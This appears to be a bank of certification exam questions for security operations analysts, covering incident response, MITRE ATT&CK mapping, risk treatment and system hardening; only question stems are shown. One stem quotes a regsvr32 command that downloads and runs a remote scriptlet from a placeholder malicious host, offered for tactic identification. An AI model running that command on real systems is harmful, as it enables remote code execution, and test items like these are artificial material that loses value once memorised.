A network engineer is designing a demilitarized zone (DMZ) for a company's public-facing web servers. The requirement is to ensure that if a web server is compromised, the attacker cannot directly reach internal database servers. Which control best achieves this segmentation?

A security analyst is investigating a suspected breach and needs to determine whether an attacker moved laterally within the network. The analyst has access to NetFlow records from core switches. Which analysis technique is most effective for identifying lateral movement?

Which THREE behaviors are characteristic of a potential data exfiltration attempt?

An analyst observes that an attacker has modified the Windows Registry to add a value under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' that points to a malicious executable. Which MITRE ATT&CK tactic is the attacker attempting to achieve?

You are managing access for a cloud-native application using AWS IAM. You need to ensure that an EC2 instance can only access a specific S3 bucket. What is the most secure way to implement this?

Which action constitutes 'Discovery' as defined by the MITRE ATT&CK framework?

In a FAIR (Factor Analysis of Information Risk) model, what is the 'Loss Event Frequency' composed of?

Which TWO documents are essential to provide to a forensic investigator?

A CCOA analyst is responding to an incident involving a compromised Linux server. The analyst needs to collect volatile data for forensic analysis. Which two commands should the analyst use to capture running processes and network connections? (Choose two.)

A security operations center (SOC) analyst receives an alert from the SIEM indicating that a domain controller has generated a high volume of Kerberos ticket-granting service (TGS) requests using RC4 encryption, with service principal names (SPNs) that do not exist. The analyst suspects a Kerberoasting attack. Which artifact should the analyst collect first to confirm the attack and identify the targeted service accounts?

A CCOA analyst is hardening a Kubernetes cluster and wants to prevent any container from running with root privileges or escalating to root inside the pod. Which Kubernetes security control directly enforces this at admission time?

Which THREE indicators should an analyst monitor to identify a potential web server compromise?

What is the primary objective of a 'Business Impact Analysis' (BIA)?

You are configuring a Splunk Enterprise Security (ES) Correlation Search to detect potential brute-force activity. You need to ensure the search generates a notable event only when the threshold of 10 failed logins occurs within a 5-minute window for a specific user. Which Correlation Search attribute should be modified?

You are using Tenable.io to manage vulnerabilities across a hybrid environment. You notice that several endpoints are not appearing in the 'Asset Inventory' dashboard despite having the Nessus Agent installed. What is the first troubleshooting step you should take?

Which TWO of the following are primary functions of an Information Security Governance program?

What is the primary purpose of an 'Endpoint Detection and Response' (EDR) solution?

A company is deploying a new web application in a public cloud. The security team must ensure that the application's data at rest is encrypted and that the encryption keys are managed by the cloud provider while still allowing the company to control key rotation. Which cloud key management service should they use?

A hospital's risk register lists ransomware against its electronic health record system with a likelihood of 'High' and an impact of 'Critical' on a five-point qualitative scale. The CISO must select a treatment option that reduces the residual risk to an acceptable level while preserving clinical availability. Which treatment approach BEST fits this scenario?

A CCOA analyst is evaluating a third-party SaaS vendor that will process regulated financial data. The vendor's SOC 2 Type II report covers security and availability but excludes confidentiality. The contract includes a right-to-audit clause and a 24-hour breach notification requirement. Which remaining action is MOST important to close the assurance gap?

You are investigating a potential insider threat. Which log is most useful for tracking file deletion activity on a Windows file server?

A user reports they cannot access a shared drive following a suspected ransomware infection. What is the immediate containment action according to standard incident response best practices?

When classifying a security incident using the NIST SP 800-61 framework, which phase is focused on identifying the precursors and indicators of an attack?

An analyst reviewing endpoint telemetry sees rundll32.exe executing a DLL from a user's Downloads folder with an export named 'Start'. The DLL was downloaded from an external site minutes earlier. Which MITRE ATT&CK tactic is most directly represented by this activity?

Which TWO of the following actions are considered best practices during the 'Containment' phase of an incident response workflow?

An analyst is reviewing authentication logs and sees repeated successful logons for a service account from several geographically distant locations within a short time window. The service account is configured with a long random password and is used by a scheduled backup job. Which explanation is most consistent with this pattern?

A healthcare organization's incident response team is handling a breach involving protected health information (PHI). The legal team requests that the incident responders preserve evidence in a manner that maintains its admissibility in court. The responders have already created a forensic image of the affected server's disk. Which of the following is the MOST critical step to ensure the evidence remains admissible?

A security analyst is reviewing the configuration of a Windows Server 2022 file server that stores HR records. The server is a member of an Active Directory domain. The analyst finds that the local Administrators group contains the domain group 'Helpdesk_Tier1'. Helpdesk technicians need to reset user passwords and unlock accounts, but they should not have full control over the HR file server. Which action should the analyst take to enforce least privilege while preserving the technicians' ability to perform their duties?

During threat modeling, you identify that an adversary could impersonate a service account. Which control is most effective against this?

Which TWO of the following are examples of 'Initial Access' tactics?

A CCOA analyst is reviewing the organization's asset inventory practices. The analyst needs to identify TWO practices that are essential for maintaining an accurate and up-to-date asset inventory. (Choose two.)

Which THREE of the following represent critical areas to inspect when a web application has been suspected of an injection attack?

An attacker uses 'T1133 External Remote Services' to gain access. What does this involve?

A security operations analyst is reviewing the configuration of a newly deployed Windows Server 2022 file server that stores PII. The server has SMB signing disabled. Which of the following best describes the primary risk of leaving SMB signing disabled in this environment?

Which role is primarily responsible for classifying data based on its value and sensitivity to the organization?

A CCOA analyst is reviewing a vulnerability scan report for a web server that hosts a public-facing application. The scan identified several vulnerabilities, including a critical remote code execution (RCE) flaw in a web framework, a medium-severity cross-site scripting (XSS) issue, and a low-severity information disclosure in an HTTP header. The RCE vulnerability has a known exploit available in the wild, but the web framework is only used for an internal administrative interface that is not accessible from the internet. The XSS vulnerability is on a public login page. Which vulnerability should the analyst prioritize for immediate remediation based on risk?

A CCOA analyst is helping the security team select controls for a new public-facing web application. The team wants to apply the principle of defense in depth, ensuring that no single control failure exposes the application. Which two controls best demonstrate layered, independent protection for this scenario? (Choose two.)

A security operations center (SOC) analyst is triaging an alert indicating that a user's workstation has been infected with malware that is attempting to communicate with a command-and-control (C2) server. The analyst wants to quickly identify the process responsible for the network connection. Which of the following tools is MOST appropriate for this task on a Windows system?

A CCOA analyst is investigating suspicious activity on a Linux web server running Apache. The analyst runs 'ss -tulpn' and sees that the server is listening on port 8443, but the organization's asset inventory lists this server as only providing HTTP on port 80 and HTTPS on port 443. The analyst needs to determine which process is bound to port 8443 and whether it is authorized. Which command should the analyst use next to identify the process name and PID associated with port 8443?

You are monitoring an AWS environment. A specific IAM role has suddenly started performing anomalous API calls. Which service should you review to see the history of these calls?

You are monitoring a network and detect a large number of ARP requests from a single host targeting the entire subnet. This is a sign of what?

Which TWO actions should be taken if an incident is confirmed to involve sensitive PII?

You are configuring a Linux server and want to use 'iptables' to block all incoming traffic from a specific subnet (192.168.10.0/24). Which command is correct?

During an investigation, a CCOA analyst observes that a Linux web server's /var/log/auth.log shows repeated successful sudo commands by the www-data account, which should never have interactive privileges. The analyst must preserve volatile evidence before remediation. Which action best follows accepted order of volatility while enabling later forensic reconstruction?

In an Azure environment, you detect a malicious actor performing 'Pass-the-Token' attacks. Which sign-in log detail confirms this?

A CCOA analyst is investigating a suspected data exfiltration incident. The analyst has captured network traffic and wants to reconstruct files that were transferred over HTTP. Which tool should the analyst use to extract files from the packet capture?

During an audit, you need to classify assets based on their criticality. Which of the following is the best example of a 'High' classification for an asset?

A threat hunter is reviewing logs for signs of adversary reconnaissance. Which TWO of the following activities are considered Discovery techniques in the MITRE ATT&CK framework? (Choose two.)

During incident response, an analyst discovers that an attacker used the built-in 'net.exe' command to enumerate domain groups and then leveraged 'nltest.exe' to query domain trusts. Which MITRE ATT&CK tactic best categorizes this sequence?

While using Microsoft Sentinel, you observe that incidents are not triggering for brute force attempts despite a KQL rule being enabled. What is the most likely cause related to the 'Incident Settings' configuration?

A CCOA analyst receives an alert about a suspicious email attachment that was opened by a user. The analyst wants to determine if the attachment executed and established persistence. Which Windows artifact would provide the most direct evidence of the executable's file path and creation time?

In the context of the principle of least privilege, why should you avoid using a root or administrator account for daily system administration?

You are analyzing an endpoint and suspect a fileless malware attack. Which of the following is the most likely location for the malicious script to reside?

You are investigating a PowerShell-based attack. The attacker is using Base64 encoded commands. Which command line switch often indicates the use of encoded code?

While investigating a web server breach, you find malicious PHP web shells. What is the most effective way to identify the source of the upload?

Which THREE controls are considered effective 'Administrative' controls according to the NIST framework?

A CCOA analyst receives an alert that the account 'svc_backup' performed an interactive logon (Type 2) to a domain controller at 02:17. The account is normally used only for scheduled backup jobs. The analyst needs to determine whether this is a credential misuse incident. Which Windows event should the analyst examine first to confirm the logon type and source workstation?

When a workstation is compromised, why is it recommended to isolate it rather than turning it off?

A CCOA analyst is triaging an alert from the SIEM indicating a potential malware outbreak on a Windows server. The analyst wants to quickly identify the parent process of a suspicious child process using Sysmon telemetry. Which Sysmon event field should the analyst focus on to establish the process lineage?

A CCOA analyst is investigating a suspected insider threat involving unauthorized access to a file server. The analyst needs to correlate user activity with file access events. Which two log sources should the analyst prioritize? (Choose two.)

During a forensic investigation, you find an entry in the Windows Registry under 'Run' keys. How can you determine if this entry is malicious?

An analyst at a financial firm is reviewing network flow logs and notices a workstation repeatedly initiating SMB connections to multiple internal servers on TCP port 445, followed by large outbound data transfers to an external IP. The workstation's user reports no unusual activity. The analyst suspects lateral movement and data exfiltration. Which technology should the analyst use to correlate these network events with endpoint process and file activity to confirm the attack chain?

What is a 'False Positive' in the context of SIEM alerting?

A security analyst is reviewing firewall logs and notices a large number of outbound connection attempts to various external IP addresses on port 445. The analyst suspects a compromised host is attempting to spread laterally or exfiltrate data. Which protocol is associated with port 445, and what is the primary security concern?

Which of these is a 'Defense Evasion' technique?

A CCOA analyst is reviewing authentication logs for a Windows environment. The analyst observes a large number of successful logons using NTLMv2 for internal file share access, even though the domain is at a functional level that supports Kerberos. The analyst suspects that some clients are not using Kerberos due to misconfiguration. Which Windows command-line tool should the analyst use to verify the effective authentication protocol being used for a specific server?

A security operations analyst at a healthcare organization is reviewing asset inventory records and discovers a database server that stores electronic protected health information (ePHI). The server is not tagged with any data classification label, and the analyst needs to ensure it complies with the organization's data classification policy before it is connected to the production network. Which action should the analyst take FIRST according to data classification and handling best practices?

A CCOA analyst at a healthcare provider is reviewing the risk treatment plan for a legacy on-premises EHR system. The system cannot be patched, and the vendor no longer supports it. The organization decides to purchase cyber insurance to cover potential losses from a breach of this system. Which risk treatment option does this decision represent?

Which of the following best describes the function of a 'container runtime' in a virtualization environment?

A vulnerability report shows that your web application is susceptible to 'Clickjacking'. Which HTTP header should you implement to mitigate this?

A security operations center analyst observes an endpoint where the process 'rundll32.exe' has loaded a DLL from the user's Downloads folder and is making outbound SMB connections to several internal hosts. Which MITRE ATT&CK tactic is most likely being exercised by this behavior?

You are configuring a SIEM alert to trigger when a user account is locked out. Which Windows Event ID should your filter target?

A CCOA analyst is examining a Linux server that is suspected of being compromised. The analyst runs the command 'netstat -tulnp' and sees an unfamiliar process listening on TCP port 4444. To identify the executable path associated with this process, which command should the analyst use next?

When reviewing cloud storage buckets, you find one is configured with 'public read access'. What is the risk?

When analyzing a memory dump using Volatility 3, which plugin is most effective for detecting code injection in a suspicious process?

During a risk assessment using ISO 27001, you identify an unpatched vulnerability in an edge router. Management refuses to apply the patch due to legacy software dependencies. Which risk treatment option are they exercising?

Which THREE factors should be considered when assessing the severity of a security incident?

A security operations center (SOC) is implementing network segmentation to protect critical assets. Which TWO of the following are essential components of a secure segmented network design? (Choose two.)

During a risk assessment, an analyst determines that a legacy payroll application has a vulnerability that could allow remote code execution. The vendor no longer issues patches, and the application is required for monthly payroll runs. The CISO accepts the residual risk and documents the decision. Which risk treatment option has the organization chosen?

You are configuring security monitoring for a database. Which THREE events should you definitely log to ensure compliance and detect malicious activity?

You are hardening a web server. Which TWO of the following steps are critical for 'Endpoint Hardening' of the web service itself?

A security analyst reviewing endpoint telemetry observes that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineCore' was modified to point to a PowerShell script in a user's AppData folder. The task runs daily with SYSTEM privileges. Which adversarial tactic does this activity most directly represent?

Which THREE of the following are considered 'Execution' techniques?

A CCOA analyst is reviewing network traffic logs and notices a series of DNS queries for randomly generated domain names that are subdomains of a single domain. The queries are frequent and the responses are often NXDOMAIN. Which technique should the analyst suspect?

A CCOA analyst is helping to classify assets for a new cybersecurity program. The organization wants to identify which assets are most critical so that protection and monitoring efforts can be prioritized. Which criterion is the MOST appropriate basis for classifying an asset as high criticality?

A security analyst is investigating a suspected beaconing behavior in network traffic logs. The traffic consistently shows small, periodic connections to an external IP. Which statistical analysis method is most effective for identifying this pattern within high-volume PCAP or NetFlow data?

A Windows server shows high disk I/O. Which tool can identify which specific process is performing the most write operations?

A financial services firm wants to reduce the likelihood that a former employee can use still-valid credentials to access internal systems after termination. Which administrative control should the security team implement FIRST?

Which TWO actions are required to properly secure a compromised user account during the eradication phase?

Which type of log provides the most granular detail regarding local account creation on a Windows Server?

A SOC analyst is investigating a suspected data exfiltration event on a Windows 10 endpoint. The analyst needs to enumerate all active network connections along with the owning process IDs to identify which process is communicating with an external IP. Which built-in Windows command should the analyst use?

A CCOA analyst receives an alert about a possible phishing email that bypassed the secure email gateway. The analyst needs to extract and analyze the email headers to determine the true sender. Which email header field should the analyst examine to find the originating IP address of the sender?

A security operations center is establishing a baseline for privileged account management across its server estate. The team must reduce the risk that compromised administrative credentials lead to widespread lateral movement. Which TWO controls should the team implement to directly limit the blast radius of a compromised privileged account? (Choose two.)

You are hardening a Linux server and want to disable all unused network ports. Which command would be best to identify listening ports and their associated processes?

Which THREE of the following are 'Privilege Escalation' techniques?

Which type of risk assessment approach uses descriptive scales like 'High', 'Medium', and 'Low'?

A financial services firm stores customer account data in a database. The security team is asked to ensure that even if the storage media is stolen, the data cannot be read without additional secret material. Which control best satisfies this requirement?

A CCOA analyst is building a threat model for a new API gateway that exposes internal microservices to partner organizations. The analyst wants to prioritize threats using a methodology that combines adversary capability, intent, and opportunity against the organization's specific attack surface. Which approach best fits this requirement?

You are reviewing a list of vulnerabilities found by an automated scanner. Which type of vulnerability would be considered the most critical to remediate first?

A CCOA analyst is examining a Linux server suspected of compromise. The analyst runs 'netstat -tulpn' and observes an unknown process listening on TCP port 4444. To identify the executable associated with this process, which command should the analyst use next?

Which THREE of the following are common 'Exfiltration' techniques?

You are performing a digital forensic image of a SATA drive. Which tool is standard for creating a bit-stream image while ensuring data integrity via a hash verification?

During an incident investigation, an analyst discovers that an attacker used a compromised service account to move laterally across multiple systems. The analyst needs to determine the extent of the compromise by identifying all systems where the account was used to authenticate. Which data source would be most effective for this purpose?

Which TWO of the following are examples of 'Persistence' tactics?

A security analyst is investigating an incident where an attacker used a technique to evade detection by injecting malicious code into a legitimate process. The analyst observes that the attacker used `CreateRemoteThread` to execute code in a remote process. Which MITRE ATT&CK technique does this represent?

A security operations analyst is implementing a hardening baseline for a fleet of Linux servers that host a web application. The organization wants to minimize the attack surface by disabling unnecessary services and configuring secure settings. The analyst has already disabled Telnet and FTP. Which additional action should the analyst take to align with the principle of least functionality?

A CCOA analyst is conducting a risk assessment for a new cloud-based collaboration platform. The analyst must identify TWO qualitative risk analysis techniques that are appropriate for this assessment. (Choose two.)

During an incident, an analyst finds that a domain controller's NTDS.dit file was accessed by a process running under the context of a service account, and shortly afterwards the same account authenticated to several member servers using NTLM. The analyst must determine which adversarial tactic the combined activity represents. Which tactic does this activity primarily represent?

You detect an adversary attempting to clear Windows Event Logs using 'wevtutil cl'. This falls under which tactic?

A SOC analyst is investigating suspicious outbound traffic from an internal host to a known command-and-control server. The analyst needs to capture full packet payloads for deep inspection and later forensic analysis. Which tool should the analyst use to capture the traffic on the Linux-based sensor?

A healthcare organization's security operations team is mapping controls to the NIST Cybersecurity Framework. The CISO asks which function is primarily concerned with understanding the organization's assets, business environment, and risk appetite so that security activities can be prioritized. Which NIST CSF function should the analyst identify?

A SIEM has triggered an alert for 'Excessive Failed Login Attempts' followed by a 'Successful Login'. Which technique is this most likely attempting to detect?

You are tasked with ensuring the 'Confidentiality' of sensitive data in transit. Which mechanism best satisfies this security principle?

A security analyst notices that a user's workstation is repeatedly connecting to an external IP address every 60 seconds, sending small amounts of data. The traffic pattern is consistent and occurs even when the user is not actively working. Which type of malware behavior is most likely indicated?

You are analyzing logs to detect a 'Lateral Movement' attack. Which THREE of the following behaviors are common indicators?

A multinational retailer must demonstrate to auditors that its security program aligns with a recognized framework for managing cybersecurity risk. The CISO wants a framework that provides a common language for communicating risk to executives and is widely accepted across industries. Which framework best meets this need?

A security operations analyst is reviewing endpoint telemetry and observes that the process 'regsvr32.exe' was launched with the command line 'regsvr32.exe /s /u /i:http://malicious.example/evade.sct scrobj.dll'. The parent process is 'winword.exe'. There is no user interaction reported after the initial document open. Which adversarial tactic does this activity most directly represent?

A CCOA analyst is establishing a risk appetite statement for a hospital network that must balance patient safety, regulatory obligations under HIPAA, and operational availability of clinical systems. Which TWO characteristics must the risk appetite statement exhibit to be considered effective by ISACA risk governance principles? (Choose two.)

A threat actor gains initial access to a network by sending a phishing email with a malicious macro-enabled document. After the user enables macros, the document executes PowerShell to download and run a payload. Which MITRE ATT&CK tactic does the macro execution represent?

Which THREE factors are commonly used to calculate risk in a basic qualitative model?

A security analyst is configuring a web application firewall to protect an e-commerce site from injection attacks. The analyst wants to block requests that contain suspicious SQL syntax in input fields while minimizing false positives on legitimate product searches. Which approach best meets this goal?

You are setting up a secure baseline for a new server. You need to ensure the operating system logs are sent to a centralized logging server. Which service should you configure?

You are reviewing AWS CloudTrail logs to investigate an unauthorized modification of an S3 bucket policy. Which event name should you search for?